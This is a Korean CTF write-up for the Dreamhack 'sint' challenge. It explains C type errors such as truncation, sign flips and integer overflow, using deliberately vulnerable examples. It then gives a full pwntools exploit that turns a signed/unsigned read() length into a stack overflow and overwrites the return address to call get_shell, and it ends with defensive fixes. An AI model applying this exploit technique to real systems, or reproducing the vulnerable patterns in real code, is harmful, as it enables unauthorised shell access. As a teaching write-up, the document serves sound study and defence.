CTF

SINT

whffu0123 2026. 6. 27. 17:16

Dreamhack Sint Write-up


0. 배경 — C의 Type Error란?

이 문제를 이해하려면 먼저 C 언어의 자료형(type) 성질을 알아야 한다.

자료형은 변수의 크기를 정하고 용도를 암시한다. int는 4바이트 정수, char는 1바이트 정수/문자처럼, 한 번 선언된 자료형의 크기는 프로그램이 실행되는 동안 바뀌지 않는다. 그렇기 때문에 그 크기나 표현 범위를 벗어나는 값을 다루면 데이터가 유실되거나 의미가 왜곡된다. 이런 부적절한 자료형 사용에서 발생하는 버그를 통틀어 Type Error라고 부른다.

자료형을 선언할 때는 변수에 담길 값의 크기·용도·부호(signed/unsigned) 여부를 모두 고려해야 한다. Type Error는 이런 고려 없이 부적절한 자료형을 사용했을 때 발생한다. 또 한 가지 주의할 점은, 같은 자료형이라도 운영체제(비트 수)에 따라 크기가 달라질 수 있다는 것이다. 예를 들어 long은 32비트에서 4바이트, 64비트에서 8바이트다.

아래에서 대표적인 Type Error 유형 네 가지를 예제로 살펴보고, 마지막에 이번 문제(sint)가 그중 어떤 패턴인지 연결한다.


(1) Out of Range — 표현 범위 초과로 인한 데이터 유실

변수가 담을 수 있는 범위를 넘는 값을 저장하면, 넘치는 상위 비트가 그냥 버려진다.

// out_of_range.c
unsigned long long factorial(unsigned int n) {   // 8바이트 반환
    unsigned long long res = 1;
    for (int i = 1; i <= n; i++) res *= i;
    return res;
}

int main() {
    unsigned int n;
    unsigned int res;                            // ← 4바이트! (반환형보다 작음)
    scanf("%d", &n);
    if (n >= 50) { ... return -1; }
    res = factorial(n);
    printf("Factorial of N: %u\n", res);
}

 

실행 결과:

Input integer n: 17
Factorial of N: 4006445056
Input integer n: 18
Factorial of N: 3396534272

곱셈만 했는데 18!이 17!보다 작아졌다. 이유는 factorial은 8바이트(unsigned long long)를 반환하는데, 이를 받는 res가 4바이트(unsigned int)이기 때문이다.

  • 18! = 0x16beecca730000
  • 이를 4바이트 res에 대입하면 상위 4바이트(0x16be)는 버려지고, 하위 4바이트 0xca730000 = 3396534272만 남는다.

출력값과 정확히 일치한다. 변수의 표현 범위를 벗어나면 저장할 수 있는 만큼만 저장되고 나머지는 유실된다는 것이 핵심이다.


(2) Out of Range (signflip) — 부호 반전을 통한 검사 우회

이쪽이 보안적으로 더 중요하다. 같은 비트 패턴이라도 부호 해석 방식에 따라 전혀 다른 값이 된다.

비트 패턴 (4바이트) signed int 해석 unsigned int 해석

0xffffffff -1 4294967295
0x80000000 -2147483648 2147483648
// oor_signflip.c
unsigned long long factorial(unsigned int n) { ... }   // unsigned 인자

int main() {
    int n;                            // ← signed int!
    scanf("%d", &n);
    if (n >= 50) { ... return -1; }   // 음수 검사 우회 가능
    res = factorial(n);
}

n이 signed int이므로 음수 입력이 가능하다. -1을 넣으면:

  1. n = -1 → n >= 50 검사를 통과한다 (음수니까).
  2. 그런데 factorial은 unsigned int n을 받는다 → -1이 부호 없는 정수 **0xffffffff = 4294967295**로 해석된다.
  3. 결국 약 43억 번 반복문이 돌아 프로그램이 한참 멈춘다.

int에 -1을 저장하면 메모리에는 2의 보수 표현인 0xffffffff가 들어간다. 이를 unsigned로 보면 4294967295가 되는 것이다. 양수로만 쓸 값에는 반드시 unsigned를 붙이는 습관이 예방책이다.


(3) oor_bof — 자료형 혼용이 Buffer Overflow로 이어지는 경우

(2)의 부호 반전이 실제 메모리 손상으로 이어지는 예제다.

// oor_bof.c  (gcc -m32로 컴파일)
#define BUF_SIZE 32

int main() {
    char buf[BUF_SIZE];
    int size;                                   // ← signed int
    scanf("%d", &size);
    if (size > BUF_SIZE) {                       // 상한만 검사
        fprintf(stderr, "Buffer Overflow Detected");
        return -1;
    }
    read(0, buf, size);                          // read의 3번째 인자는 size_t (unsigned)
    return 0;
}

read의 함수 원형은 다음과 같다.

ssize_t read(int fd, void *buf, size_t count);

세 번째 인자 count가 **size_t(부호 없음)**다. 공격 흐름:

  1. size = -1 입력 → size > 32 검사를 통과 (음수니까).
  2. read(0, buf, size)에서 -1이 size_t로 변환 → 매우 큰 수가 됨.
  3. 32바이트 buf에 그보다 훨씬 큰 데이터 입력 → 스택 버퍼 오버플로우.
$ ./oor_bof
Input length: -1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
*** stack smashing detected ***: terminated
Aborted (core dumped)

왜 32비트(-m32)로 컴파일해야 하나?
64비트 환경에서 -1은 0xffffffffffffffff이고, size_t는 8바이트라서 이 값이 18446744073709551615가 된다. read 함수는 count가 이렇게 비현실적으로 크면 아무 동작도 하지 않고 에러를 반환한다. 그래서 이 공격은 32비트 환경에서만 성립한다. (sint도 i386-32 환경인 이유)


(4) Integer Overflow / Underflow — 연산 중 범위 이탈

저장이 아니라 연산 도중 자료형 범위를 벗어나 값이 한 바퀴 도는 현상이다.

signed char는 127에서 +1 하면 -128로(오버플로우), unsigned char는 255에서 +1 하면 0으로(오버플로우) 넘어간다. 반대로 최솟값에서 빼면(언더플로우) 최댓값으로 돌아온다.

// integer_example.c
unsigned int a = UINT_MAX + 1;   // → 0           (오버플로우)
int          b = INT_MAX + 1;    // → -2147483648 (오버플로우)
unsigned int c = 0 - 1;          // → 4294967295  (언더플로우)
int          d = INT_MIN - 1;    // → 2147483647  (언더플로우)

이것이 힙 버퍼 오버플로우로 이어지는 예제:

// integer_overflow.c  (gcc -m32)
unsigned int size;
scanf("%u", &size);
char *buf = (char *)malloc(size + 1);          // ← 여기가 함정
unsigned int read_size = read(0, buf, size);
buf[read_size] = 0;

공격 흐름:

  1. size에 unsigned int의 최댓값 4294967295(0xffffffff) 입력.
  2. malloc(size + 1)에서 size + 1이 integer overflow로 0이 됨 → malloc(0) 호출 (아주 작은 청크).
  3. 하지만 read(0, buf, size)의 size는 원래 값 그대로 → 거의 0바이트짜리 청크에 약 43억 바이트를 쓰려 함 → 힙 버퍼 오버플로우.

입력값에 산술 연산(size + 1)을 가하면 그 결과가 다시 범위를 벗어날 수 있다는 점을 항상 의심해야 한다.


정리 — 네 유형과 sint의 연결

유형 원인 결과

out_of_range 작은 자료형에 큰 값 대입 상위 바이트 유실 (값 왜곡)
oor_signflip signed로 음수 입력 → unsigned 해석 검사 우회 + 거대한 값
oor_bof signed size 검사 우회 → read의 size_t 스택 BOF
integer_overflow size+1 오버플로우로 0 작은 malloc + 큰 read → 힙 BOF

이번 문제 sint는 (3) oor_bof와 정확히 같은 패턴이다. 크기 검사는 int(signed)로 하면서 실제 입력은 read의 size_t(unsigned)로 받기 때문에, 음수(정확히는 size=0 → size-1=-1) 한 번으로 길이 검사를 무력화하고 스택을 덮을 수 있다. 아래 본문에서 이를 실제로 익스플로잇한다.


1. 보호 기법 분석 (checksec)

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found      ← 카나리 없음
NX:       NX enabled           ← 스택 실행 불가
PIE:      No PIE (0x8048000)   ← 코드 주소 고정
Stripped: No

이 조합이 공격 전략을 결정한다.

  • No canary — 버퍼 오버플로우로 RET을 덮어도 카나리 검사에 걸리지 않으므로, 카나리를 복구할 필요 없이 흐름을 이어갈 수 있다.
  • NX enabled — 스택에 셸코드를 올려 실행하는 방식은 불가능하다. 그래서 바이너리에 이미 존재하는 get_shell() 함수를 호출하는 방향으로 간다.
  • No PIE — 코드가 0x8048000 고정 주소에 매핑된다. ASLR이 켜져 있어도 코드 영역은 고정이므로, get_shell의 주소를 그대로 RET에 삽입할 수 있다.

결론: "No canary + No PIE + NX" → 스택 BOF로 RET을 덮어 고정 주소의 get_shell로 점프한다.


2. 코드 분석

void get_shell() {
    system("/bin/sh");                 // 이 함수만 실행하면 셸 획득
}

int main() {
    char buf[256];
    int size;                          // ← signed int (취약점의 핵심)

    initialize();
    signal(SIGSEGV, get_shell);        // 세그폴트 발생 시 get_shell 실행

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0) {      // size 범위 검사 (signed 기준)
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);            // ← size_t로 전달됨
    return 0;
}

셸을 획득하는 경로가 사실상 두 가지 존재한다.

  1. signal(SIGSEGV, get_shell) — main의 RET을 깨진 주소로 덮어 세그먼트 에러를 유발하면, 시그널 핸들러로 등록된 get_shell이 실행된다. (정확한 주소를 몰라도 됨)
  2. No PIE — get_shell의 고정 주소를 RET에 직접 삽입해 점프시킨다.

이 write-up에서는 2번 방식을 사용한다.


3. 취약점 분석

size는 signed int라서 0 ~ 256 범위 검사를 통과해야 한다. 정상적인 경로로는 buf(256바이트)를 넘치게 할 수 없다 — 257바이트 이상 입력하려면 size - 1 ≥ 257, 즉 size ≥ 258이 필요한데 이는 size > 256 검사에 막히기 때문이다.

그러나 read의 세 번째 인자가 size_t(unsigned)라는 점을 악용하면 우회가 가능하다.

공격 흐름:

  1. size = 0 입력 → 0 > 256 || 0 < 0 검사 통과 (0은 유효 범위)
  2. read(0, buf, size - 1)에서 size - 1 = -1
  3. -1이 size_t(unsigned)로 자동 형변환 → 0xffffffff = 4294967295
  4. 결국 read(0, buf, 4294967295) → 사실상 무제한 입력
  5. 256바이트 buf를 한참 초과해 입력 → 스택 버퍼 오버플로우 발생

즉 단 한 번의 size=0 입력으로 길이 검사를 무력화하고, 원하는 만큼 스택을 덮을 수 있게 된다.


4. 익스플로잇 설계

스택 레이아웃

buf는 ebp - 0x100 위치에 있다. (256 = 0x100)

낮은 주소
+------------------+
|   buf[256]       |  ← ebp - 0x100, 입력 시작점
+------------------+
|   SFP (4)        |  ← ebp (saved ebp)
+------------------+
|   RET (4)        |  ← ebp + 4, 여기를 get_shell 주소로 덮는다
+------------------+
높은 주소
  • 패딩: buf(0x100) + SFP(0x4) = 260바이트
  • 그 뒤 4바이트(RET)에 p32(get_shell) 삽입

Exploit 코드

from pwn import *

# p = process("./sint")                       # 로컬 테스트용
p = remote("host3.dreamhack.games", 19556)    # 원격 

e = ELF("./sint")
get_shell = e.symbols["get_shell"]            # No PIE → 심볼 주소가 곧 실제 주소

p.sendline(b"0")                              # size = 0 → read에 0xffffffff 전달
p.sendline(b"A" * (0x100 + 0x4) + p32(get_shell))  # buf+SFP 패딩 후 RET = get_shell

p.interactive()

size에 0을 보내 검사를 우회하고, 두 번째 입력에서 260바이트 패딩 뒤에 get_shell 주소를 붙여 RET을 덮는다. main이 리턴하는 순간 get_shell로 점프해 system("/bin/sh")가 실행된다.


5. 플래그 획득


6. 방어 기법

이 취약점의 근본 원인은 signed로 검사하고 unsigned로 사용한 자료형 혼용이다. 다음과 같이 막을 수 있다.

  1. 부호 일관성 유지 — 길이/크기 등 양수로만 쓰일 값은 처음부터 unsigned(혹은 size_t)로 선언한다.
  2. size_t size; scanf("%zu", &size); if (size > 256) { ... } // 음수 자체가 불가능
  3. 연산 결과까지 검증 — size - 1처럼 입력값에 산술 연산을 한 결과가 다시 범위를 벗어날 수 있음을 항상 의심한다. (언더플로우 주의)
  4. 상한·하한 모두 검사 — signed를 불가피하게 쓴다면 read에 넘기기 직전 값을 다시 한 번 검증한다.
  5. 컴파일 보호 기법 활성화 — Stack Canary(-fstack-protector)와 PIE(-fPIE -pie)를 켜면, 설령 BOF가 발생해도 RET 조작과 주소 고정 악용이 크게 어려워진다.

7. 정리

취약점 유형 Type Error (signed/unsigned 혼용) → Stack BOF
핵심 메커니즘 size=0 → size-1=-1 → read의 size_t로 0xffffffff 전달
우회한 보호 No canary(RET 덮기), No PIE(고정 주소 점프)
공격 기법 RET overwrite → get_shell() 호출

 

'CTF' 카테고리의 다른 글

Basic_Exploitation 001  (0) 2026.06.17
Basic_Exploitation 000  (0) 2026.06.17
Return Address Overwrite  (0) 2026.06.17
Out of Bounds  (0) 2026.06.17
shellcode  (0) 2026.06.17